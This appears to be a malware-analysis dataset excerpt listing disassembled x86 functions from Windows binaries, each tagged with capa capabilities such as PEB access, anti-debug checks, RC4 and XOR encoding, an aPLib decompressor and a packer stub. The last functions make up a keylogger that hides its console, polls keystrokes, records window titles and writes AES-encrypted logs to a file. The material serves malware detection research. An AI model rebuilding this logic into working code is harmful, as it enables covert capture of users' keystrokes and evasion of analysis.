joyce8/EMBER2024-capa huggingface dataset:
Function at 0x636090
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push 0xffffffffffffffff
push 0x6ccca6
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
mov esi, ecx
lea ecx, [esi + 0x20]
xor eax, eax
mov dword [esi], 0x6f01cc
push edi
mov dword [esp + 8], esi
mov dword [ecx + 4], eax
mov dword [ecx + 8], eax
mov dword [ecx + 0xc], eax
lea edi, [esi + 0x30]
mov dword [esp + 0x14], eax
mov dword [edi + 4], eax
mov dword [edi + 8], eax
mov dword [edi + 0xc], eax
push 0xa
mov byte [esp + 0x18], 1
mov dword [esi + 0x10], eax
mov dword [esi + 4], eax
mov dword [esi + 8], eax
mov dword [esi + 0xc], eax
mov dword [esi + 0x14], eax
mov dword [esi + 0x18], eax
mov dword [esi + 0x1c], eax
call fcn.005848e0
push 0x3e8
mov ecx, edi
call fcn.00635fd0
mov ecx, dword [esp + 0xc]
pop edi
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret

Function at 0x659738
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
mov eax, 0x6cdd0d
call fcn.00692bd4
sub esp, 0x1c
push ebx
mov ebx, ecx
xor eax, eax
push esi
push edi
mov dword [ebp - 0x10], ebx
mov dword [ebx + 4], eax
mov dword [ebx + 8], eax
mov dword [ebx + 0xc], eax
mov dword [ebp - 4], eax
mov dword [ebx + 0x14], eax
mov dword [ebx + 0x18], eax
mov dword [ebx + 0x1c], eax
mov dword [ebx + 0x28], eax
mov dword [ebx + 0x2c], eax
mov dword [ebx + 0x30], eax
lea ecx, [ebx + 0x88]
mov byte [ebp - 4], 2
call fcn.0065a499
mov ecx, dword [0x106a558]
lea edx, [ebx + 0x48]
lea eax, [ebx + 0x120]
push edx
mov dword [eax], ecx
mov eax, ecx
mov ecx, dword [eax]
push 2
push eax
call dword [ecx + 0x98]
fldz
fstp dword [ebp - 0x1c]
sub esp, 0xc
fldz
mov edi, esp
fstp dword [ebp - 0x18]
lea esi, [ebp - 0x1c]
fldz
sub esp, 0xc
mov ecx, ebx
fstp dword [ebp - 0x14]
fldz
movsd dword es:[edi], dword [esi]
fstp dword [ebp - 0x28]
movsd dword es:[edi], dword [esi]
fldz
fstp dword [ebp - 0x24]
fldz
movsd dword es:[edi], dword [esi]
fstp dword [ebp - 0x20]
mov edi, esp
lea esi, [ebp - 0x28]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
push 0
movsd dword es:[edi], dword [esi]
call fcn.006595e6
and dword [ebx + 0x1b0], 0
mov ecx, dword [ebp - 0xc]
pop edi
mov byte [ebx + 0x1b4], 0
mov byte [ebx + 0x1d0], 0
pop esi
mov eax, ebx
mov dword fs:[0], ecx
pop ebx
leave
ret

Function at 0x671fc0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc0
push ebx
push esi
push edi
lea edi, [ebp - 0xc0]
mov ecx, 0x30
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov eax, dword [ebp + 8]
cmp dword [eax + 0x58], 0
je 0x672004
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x58]
mov edx, dword [ebp + 0xc]
mov dword [ecx + 0x44], edx
push 1
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x58]
add ecx, 4
push ecx
call fcn.00696550
mov esi, esp
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 0x10]
call dword [edx + 0x28]
add esp, 4
cmp esi, esp
call fcn.00698bee
push 1
call fcn.00696d74
pop edi
pop esi
pop ebx
add esp, 0xc0
cmp ebp, esp
call fcn.00698bee
mov esp, ebp
pop ebp
ret
Function at 0x69f024
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
mov esi, dword [ebp + 8]
mov ebx, dword [esi + 8]
test bl, 3
jne 0x69f052
mov eax, dword fs:[0x18]
mov dword [ebp + 8], eax
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 8]
cmp ebx, ecx
mov dword [ebp - 4], ecx
jb 0x69f059
cmp ebx, dword [eax + 4]
jae 0x69f059
xor eax, eax
jmp 0x69f249
push edi
mov edi, dword [esi + 0xc]
cmp edi, 0xffffffff
jne 0x69f06a
xor eax, eax
inc eax
jmp 0x69f248
xor edx, edx
mov dword [ebp + 8], edx
mov eax, ebx
mov ecx, dword [eax]
cmp ecx, 0xffffffff
je 0x69f080
cmp ecx, edx
jae 0x69f1c5
cmp dword [eax + 4], 0
je 0x69f089
inc dword [ebp + 8]
inc edx
add eax, 0xc
cmp edx, edi
jbe 0x69f071
cmp dword [ebp + 8], 0
je 0x69f0ab
mov eax, dword [esi - 8]
cmp eax, dword [ebp - 4]
jb 0x69f1c5
cmp eax, esi
jae 0x69f1c5
mov eax, dword [0x14df410]
mov edi, ebx
and edi, 0xfffff000
xor esi, esi
test eax, eax
jle 0x69f0d0
cmp dword [esi*4 + 0x14df418], edi
je 0x69f1c9
inc esi
cmp esi, eax
jl 0x69f0be
push 0x1c
lea eax, [ebp - 0x20]
push eax
push ebx
call dword [0x6d01a8]
test eax, eax
je 0x69f245
cmp dword [ebp - 8], 0x1000000
jne 0x69f245
test byte [ebp - 0xc], 0xcc
je 0x69f14e
mov ecx, dword [ebp - 0x1c]
cmp word [ecx], 0x5a4d
jne 0x69f245
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x69f245
cmp word [eax + 0x18], 0x10b
jne 0x69f245
sub ebx, ecx
cmp word [eax + 6], 0
movzx ecx, word [eax + 0x14]
lea ecx, [ecx + eax + 0x18]
jbe 0x69f245
mov eax, dword [ecx + 0xc]
cmp ebx, eax
jb 0x69f14e
mov edx, dword [ecx + 8]
add edx, eax
cmp ebx, edx
jae 0x69f14e
test byte [ecx + 0x27], 0x80
jne 0x69f1c5
push 1
push 0x14df458
call dword [0x6d0104]
test eax, eax
jne 0x69f062
mov ecx, dword [0x14df410]
test ecx, ecx
mov edx, ecx
jle 0x69f182
lea eax, [ecx*4 + 0x14df414]
cmp dword [eax], edi
je 0x69f182
dec edx
sub eax, 4
test edx, edx
jg 0x69f176
test edx, edx
jne 0x69f1b3
push 0xf
pop ebx
cmp ecx, ebx
jg 0x69f18f
mov ebx, ecx
xor edx, edx
test ebx, ebx
jl 0x69f1a7
lea eax, [edx*4 + 0x14df418]
mov esi, dword [eax]
inc edx
cmp edx, ebx
mov dword [eax], edi
mov edi, esi
jle 0x69f195
cmp ecx, 0x10
jge 0x69f1b3
inc ecx
mov dword [0x14df410], ecx
push 0
push 0x14df458
call dword [0x6d0104]
jmp 0x69f062
xor eax, eax
jmp 0x69f248
test esi, esi
jle 0x69f062
mov ebx, dword [0x6d0104]
push 1
push 0x14df458
call ebx
test eax, eax
jne 0x69f062
cmp dword [esi*4 + 0x14df418], edi
je 0x69f21f
mov eax, dword [0x14df410]
lea esi, [eax - 1]
test esi, esi
jl 0x69f20d
cmp dword [esi*4 + 0x14df418], edi
je 0x69f209
dec esi
jns 0x69f1fd
test esi, esi
jge 0x69f21d
cmp eax, 0x10
jge 0x69f218
inc eax
mov dword [0x14df410], eax
lea esi, [eax - 1]
jmp 0x69f21f
je 0x69f237
xor ecx, ecx
test esi, esi
jl 0x69f237
lea eax, [ecx*4 + 0x14df418]
mov edx, dword [eax]
inc ecx
cmp ecx, esi
mov dword [eax], edi
mov edi, edx
jle 0x69f225
push 0
push 0x14df458
call ebx
jmp 0x69f062
or eax, 0xffffffff
pop edi
pop esi
pop ebx
leave
ret
Function at 0x6bc600
Capabilities:
Encode data using xor

Disassembly:
mov ecx, dword [esp + 4]
xor edx, edx
cmp ecx, edx
je 0x6bc6a1
push ebx
push ebp
push esi
mov esi, dword [ecx]
mov byte [esi + 0x16], dl
mov esi, dword [ecx]
mov byte [esi + 0x17], dl
mov esi, dword [ecx]
mov byte [esi + 0x18], dl
mov esi, dword [ecx]
mov byte [esi + 0x19], dl
mov esi, dword [ecx + 4]
xor eax, eax
cmp esi, edx
push edi
jle 0x6bc64f
mov edi, dword [ecx]
movzx ebx, byte [edi + edx]
mov ebp, eax
shr ebp, 0x18
xor ebx, ebp
mov ebp, dword [ebx*4 + 0x7318e0]
shl eax, 8
xor eax, ebp
inc edx
cmp edx, esi
jl 0x6bc631
xor edx, edx
mov esi, dword [ecx + 0xc]
cmp esi, edx
jle 0x6bc67c
mov edi, dword [ecx + 8]
lea esp, [esp]
movzx ebx, byte [edi + edx]
mov ebp, eax
shr ebp, 0x18
xor ebx, ebp
mov ebp, dword [ebx*4 + 0x7318e0]
shl eax, 8
xor eax, ebp
inc edx
cmp edx, esi
jl 0x6bc660
mov edx, dword [ecx]
mov byte [edx + 0x16], al
mov esi, dword [ecx]
mov edx, eax
shr edx, 8
mov byte [esi + 0x17], dl
mov esi, dword [ecx]
mov edx, eax
shr edx, 0x10
pop edi
mov byte [esi + 0x18], dl
mov ecx, dword [ecx]
pop esi
shr eax, 0x18
pop ebp
mov byte [ecx + 0x19], al
pop ebx
ret

Function at 0x1ac27b4
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
imul edx, dword [0x1ad703c], 0x8088405
inc edx
mov dword [0x1ad703c], edx
mul edx
mov eax, edx
ret

Function at 0x1ac93ac
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffefc
mov ebp, edx
mov dword [esp], eax
xor ebx, ebx
mov esi, dword [esp]
lea edi, [esp + 4]
mov byte [esi], bl
mov eax, ebx
cdq
idiv ecx
add edx, ebp
mov al, byte [edx]
mov byte [edi], al
inc ebx
inc edi
inc esi
cmp ebx, 0x100
jne 0x1ac93c4
xor esi, esi
mov ebx, pe_nt_image_headers32
mov eax, dword [esp]
lea edi, [esp + 4]
mov dl, byte [eax]
xor ecx, ecx
mov cl, dl
add esi, ecx
xor ecx, ecx
mov cl, byte [edi]
add esi, ecx
and esi, 0xff
mov ecx, dword [esp]
mov cl, byte [ecx + esi]
mov byte [eax], cl
mov ecx, dword [esp]
mov byte [ecx + esi], dl
inc edi
inc eax
dec ebx
jne 0x1ac93ea
mov edx, dword [esp]
mov eax, dword [esp]
add eax, 0x100
mov ecx, pe_nt_image_headers32
call fcn.01ac5250
add esp, 0x104
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x1ac9444
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
xor ecx, ecx
xor edx, edx
mov ebx, dword [ebp + 8]
dec ebx
test ebx, ebx
jl 0x1ac94d5
inc ebx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x10], 0
inc ecx
and cl, 0xff
xor ebx, ebx
mov bl, cl
add dl, byte [eax + ebx]
and dl, 0xff
xor ebx, ebx
mov bl, cl
mov bl, byte [eax + ebx]
mov byte [ebp - 9], bl
mov esi, edx
and esi, 0xff
xor ebx, ebx
mov bl, cl
lea edi, [eax + ebx]
mov bl, byte [eax + esi]
mov byte [edi], bl
mov bl, byte [ebp - 9]
mov byte [eax + esi], bl
xor ebx, ebx
mov bl, cl
mov bl, byte [eax + ebx]
mov esi, edx
and esi, 0xff
add bl, byte [eax + esi]
and bl, 0xff
mov byte [ebp - 9], bl
mov ebx, dword [ebp - 4]
mov esi, dword [ebp - 0x10]
mov bl, byte [ebx + esi]
movzx esi, byte [ebp - 9]
xor bl, byte [eax + esi]
mov esi, dword [ebp - 8]
mov edi, dword [ebp - 0x10]
mov byte [esi + edi], bl
inc dword [ebp - 0x10]
dec dword [ebp - 0x14]
jne 0x1ac946a
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x1acbad4
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff58
push ebx
push esi
push edi
mov ebx, dword [ebp + 0x10]
xor eax, eax
mov dword [ebp - 0x54], eax
xor eax, eax
mov dword [ebp - 0x58], eax
xor edi, edi
mov dword [ebp - 0x10], 0x67452301
mov dword [ebp - 0xc], 0xefcdab89
mov dword [ebp - 8], 0x98badcfe
mov dword [ebp - 4], 0x10325476
mov eax, ebx
shl eax, 3
mov edx, eax
add edx, dword [ebp - 0x54]
cmp edx, dword [ebp - 0x54]
jae 0x1acbb1d
inc dword [ebp - 0x58]
add dword [ebp - 0x54], eax
mov eax, ebx
shr eax, 0x1d
add dword [ebp - 0x58], eax
mov esi, dword [ebp + 0xc]
cmp ebx, 0x40
jb 0x1acbb45
mov edx, esi
lea eax, [ebp - 0x10]
call fcn.01acbbe4
add esi, 0x40
sub ebx, 0x40
cmp ebx, 0x40
jae 0x1acbb30
test ebx, ebx
jbe 0x1acbb5a
mov edi, ebx
lea eax, [ebp - 0xa8]
mov ecx, edi
mov edx, esi
call fcn.01ac5250
push edi
lea esi, [ebp - 0x10]
lea edi, [ebp - 0x68]
mov ecx, 4
rep movsd dword es:[edi], dword [esi]
pop edi
lea edx, [ebp - 0xa8]
lea eax, [ebp - 0x50]
mov ecx, edi
call fcn.01ac5250
mov byte [ebp + edi - 0x50], 0x80
lea eax, [edi + 1]
cmp eax, 0x38
jbe 0x1acbba3
mov edx, 0x40
sub edx, eax
lea eax, [ebp + eax - 0x50]
call fcn.01ac5264
lea edx, [ebp - 0x50]
lea eax, [ebp - 0x68]
call fcn.01acbbe4
xor eax, eax
mov edx, 0x38
sub edx, eax
lea eax, [ebp + eax - 0x50]
call fcn.01ac5264
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0x14], eax
lea edx, [ebp - 0x50]
lea eax, [ebp - 0x68]
call fcn.01acbbe4
mov eax, dword [ebp + 8]
mov edi, eax
lea esi, [ebp - 0x68]
mov ecx, 4
rep movsd dword es:[edi], dword [esi]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x1ad109c
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
xor eax, eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp + 8]
xor eax, eax
push ebp
push 0x1ad11ed
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 1], 0
lea eax, [ebp - 0x10]
mov edx, ebx
call fcn.01ac35f4
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 0xc]
call fcn.01ad1024
mov edx, dword [ebp - 0xc]
mov eax, 0x1ad1208
call fcn.01ac38dc
test eax, eax
je 0x1ad10ef
mov byte [0x1ad7a8c], 1
cmp byte [0x1ad7a8c], 0
je 0x1ad11d2
lea eax, [ebp - 0x10]
mov edx, ebx
call fcn.01ac35f4
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 0xc]
call fcn.01ad1024
mov edx, dword [ebp - 0xc]
mov eax, 0x1ad121c
call fcn.01ac38dc
test eax, eax
jne 0x1ad11d2
mov edx, 0x1ad1228
mov ecx, 4
mov eax, ebx
call fcn.01ad0ed0
test eax, eax
jne 0x1ad1147
mov edx, ebx
add edx, 4
mov eax, ebx
call fcn.01ad0ea8
push 0
push 0x8000000
push 3
push 0
push 1
push 0x80000000
push ebx
call fcn.01ac5138
mov ebx, eax
cmp ebx, 0xffffffff
je 0x1ad11d2
push 0
push 0
push 0
push 2
push 0
push ebx
call fcn.01ac5140
mov esi, eax
push ebx
call fcn.01ac5128
test esi, esi
je 0x1ad11d2
push 0
push 0
push 0
push 4
push esi
call fcn.01ac5208
mov ebx, eax
test ebx, ebx
je 0x1ad11d2
mov eax, ebx
cmp word [eax], 0x5a4d
jne 0x1ad11d2
mov eax, dword [eax + 0x3c]
add eax, ebx
cmp dword [eax], 0x4550
jne 0x1ad11d2
mov edi, eax
mov eax, dword [eax + 0x1c]
mov dword [ebp - 8], eax
mov edx, dword [ebp - 8]
mov eax, edi
call fcn.01ad0ef8
test al, al
je 0x1ad11c6
mov byte [ebp - 1], 1
push ebx
call fcn.01ac5218
push esi
call fcn.01ac5128
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x1ad11f4
lea eax, [ebp - 0x10]
mov edx, 2
call fcn.01ac3464
ret

Function at 0x1ad12dc
Capabilities:
Check for peb beingdebugged flag

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
movzx eax, byte [eax + 2]
mov byte [ebp - 1], al
mov al, byte [ebp - 1]
pop ecx
pop ebp

Function at 0x1ad2268
Capabilities:
Check for peb beingdebugged flag

Disassembly:
mov eax, dword fs:[0x30]
movzx eax, byte [eax + 2]
or al, al
je 0x1ad2279
mov al, 1
ret
Function at 0x1adc651
Capabilities:
Decompress data using aplib

Disassembly:
push ebp
mov ebp, esp
pushal
push ebp
mov esi, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add dl, dl
jne 0x1adc66e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x1adc65f
add dl, dl
jne 0x1adc679
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x1adc6c5
xor eax, eax
add dl, dl
jne 0x1adc686
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x1adc762
add dl, dl
jne 0x1adc695
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1adc6a0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1adc6ab
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1adc6b6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x1adc6c0
push edi
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
jmp 0x1adc665
mov eax, 1
add dl, dl
jne 0x1adc6d3
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1adc6de
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x1adc6ca
sub eax, 2
jne 0x1adc70d
mov ecx, 1
add dl, dl
jne 0x1adc6f3
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1adc6fe
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x1adc6ea
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x1adc665
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x1adc724
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1adc72f
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x1adc71b
cmp eax, 0x7d00
jae 0x1adc752
cmp eax, 0x500
jb 0x1adc74d
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x1adc665
cmp eax, 0x7f
ja 0x1adc755
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x1adc665
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x1adc77e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x1adc665
pop ebp
sub edi, dword [ebp + 0xc]
mov dword [ebp - 4], edi
popal
pop ebp
ret 8
Function at 0x431002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40915c
mov ecx, 0x1c1923e9
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x43104e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x431024
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42f3f8
nop
mov ecx, 0x16a4415
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x431084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43106c
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0x401460
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov dword [ebp - 0xf], 0x74726170
mov word [ebp - 0xb], 0xac31
mov byte [ebp - 9], 0
mov dword [ebp - 0x16], 0x74726170
mov word [ebp - 0x12], 0xac32
mov byte [ebp - 0x10], 0
mov dword [ebp - 0x1d], 0x74726170
mov word [ebp - 0x19], 0xac33
mov byte [ebp - 0x17], 0
mov dword [ebp - 0x24], 0x74726170
mov word [ebp - 0x20], 0xac34
mov byte [ebp - 0x1e], 0
lea eax, [ebp - 0x24]
mov dword [esp + 0x18], eax
lea eax, [ebp - 0x1d]
mov dword [esp + 0x14], eax
lea eax, [ebp - 0x16]
mov dword [esp + 0x10], eax
lea eax, [ebp - 0xf]
mov dword [esp + 0xc], eax
mov dword [esp + 8], str._s_s_s_s
mov dword [esp + 4], 0x10
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym.___mingw_snprintf
nop
leave
ret
Function at 0x4017c2
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x428
mov dword [esp + 4], 0x40b11f
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._fopen
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x40181b
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x2f
mov dword [esp + 4], 1
mov dword [esp], str.Error:_Unable_to_open_file_for_integrity_check_n
call sym._fwrite
mov dword [esp], 1
call sym._ExitProcess_4
mov dword [ebp - 0xc], 0
jmp 0x40185d
mov dword [ebp - 0x10], 0
jmp 0x401855
mov eax, dword [ebp - 0xc]
shl eax, 5
mov edx, eax
mov eax, dword [ebp - 0xc]
lea ecx, [edx + eax]
lea edx, [ebp - 0x418]
mov eax, dword [ebp - 0x10]
add eax, edx
movzx eax, byte [eax]
movsx eax, al
add eax, ecx
mov dword [ebp - 0xc], eax
add dword [ebp - 0x10], 1
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x18]
jb 0x40182d
mov eax, dword [ebp - 0x14]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x400
mov dword [esp + 4], 1
lea eax, [ebp - 0x418]
mov dword [esp], eax
call sym._fread
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x401824
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._fclose
cmp dword [ebp - 0xc], 0xdeadbeef
je 0x4018d3
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x1e
mov dword [esp + 4], 1
mov dword [esp], str.Error:_Integrity_check_failed_n
call sym._fwrite
mov dword [esp], 1
call sym._ExitProcess_4
nop
leave
ret

Function at 0x4018d6
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
call sym._GetConsoleWindow_0
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x401900
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._ShowWindow_8
sub esp, 8
nop
leave
ret
Function at 0x401903
Capabilities:
Get graphical window text
Log keystrokes via polling
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x95c
mov dword [esp + 4], 0x40b173
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._fopen
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
jne 0x401958
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x1f
mov dword [esp + 4], 1
mov dword [esp], str.Error:_Unable_to_open_log_file_n
call sym._fwrite
jmp 0x401b27
mov dword [ebp - 0x28], 0
lea edx, [ebp - 0x434]
mov eax, 0
mov ecx, 0x100
mov edi, edx
rep stosd dword es:[edi], eax
mov dword [ebp - 0x1c], 0
lea eax, [ebp - 0x844]
mov dword [esp], eax
call sym._get_dynamic_key
mov dword [esp], 0x64
call sym._Sleep_4
sub esp, 4
call sym._GetForegroundWindow_0
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x28]
cmp eax, dword [ebp - 0x2c]
je 0x401a59
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x28], eax
lea edx, [ebp - 0x948]
mov eax, 0
mov ecx, 0x40
mov edi, edx
rep stosd dword es:[edi], eax
mov dword [esp + 8], 0x100
lea eax, [ebp - 0x948]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
call sym._GetWindowTextA_12
sub esp, 0xc
mov dword [esp], 0
call sym._time
mov dword [ebp - 0x848], eax
lea eax, [ebp - 0x848]
mov dword [esp], eax
call sym._localtime
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
mov ebx, dword [eax]
mov eax, dword [ebp - 0x30]
mov ecx, dword [eax + 4]
mov eax, dword [ebp - 0x30]
mov edx, dword [eax + 8]
mov eax, 0x400
sub eax, dword [ebp - 0x1c]
lea edi, [ebp - 0x434]
mov esi, dword [ebp - 0x1c]
add edi, esi
lea esi, [ebp - 0x948]
mov dword [esp + 0x18], esi
mov dword [esp + 0x14], ebx
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], edx
mov dword [esp + 8], str.__02d:_02d:_02d__Window:__s_n
mov dword [esp + 4], eax
mov dword [esp], edi
call sym.___mingw_snprintf
add dword [ebp - 0x1c], eax
mov byte [ebp - 0x1d], 8
movsx eax, byte [ebp - 0x1d]
mov dword [esp], eax
call sym._GetAsyncKeyState_4
sub esp, 4
test ax, ax
jns 0x401b18
movsx edx, byte [ebp - 0x1d]
mov eax, 0x400
sub eax, dword [ebp - 0x1c]
lea ebx, [ebp - 0x434]
mov ecx, dword [ebp - 0x1c]
add ecx, ebx
mov dword [esp + 0xc], edx
mov dword [esp + 8], 0x40b1b5
mov dword [esp + 4], eax
mov dword [esp], ecx
call sym.___mingw_snprintf
add dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0x3ef
jbe 0x401b18
lea eax, [ebp - 0x844]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp + 8], eax
lea eax, [ebp - 0x834]
mov dword [esp + 4], eax
lea eax, [ebp - 0x434]
mov dword [esp], eax
call sym._aes_encrypt
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0
jle 0x401b11
mov eax, dword [ebp - 0x34]
mov edx, dword [ebp - 0x24]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov dword [esp + 4], 1
lea eax, [ebp - 0x834]
mov dword [esp], eax
call sym._fwrite
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym._fflush
mov dword [ebp - 0x1c], 0
movzx eax, byte [ebp - 0x1d]
add eax, 1
mov byte [ebp - 0x1d], al
jmp 0x401a5d
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x401b2f
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x10
call sym.___main
cmp dword [ebp + 8], 0
jg 0x401b72
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x30
mov dword [esp + 4], 1
mov dword [esp], str.Error:_Missing_program_path_for_integrity_check_n
call sym._fwrite
mov eax, 1
jmp 0x401b95
mov eax, dword [ebp + 0xc]
mov eax, dword [eax]
mov dword [esp], eax
call sym._check_integrity
call sym._hide_console
mov dword [esp], str.logs.enc
call sym._log_keys
mov eax, 0
leave
ret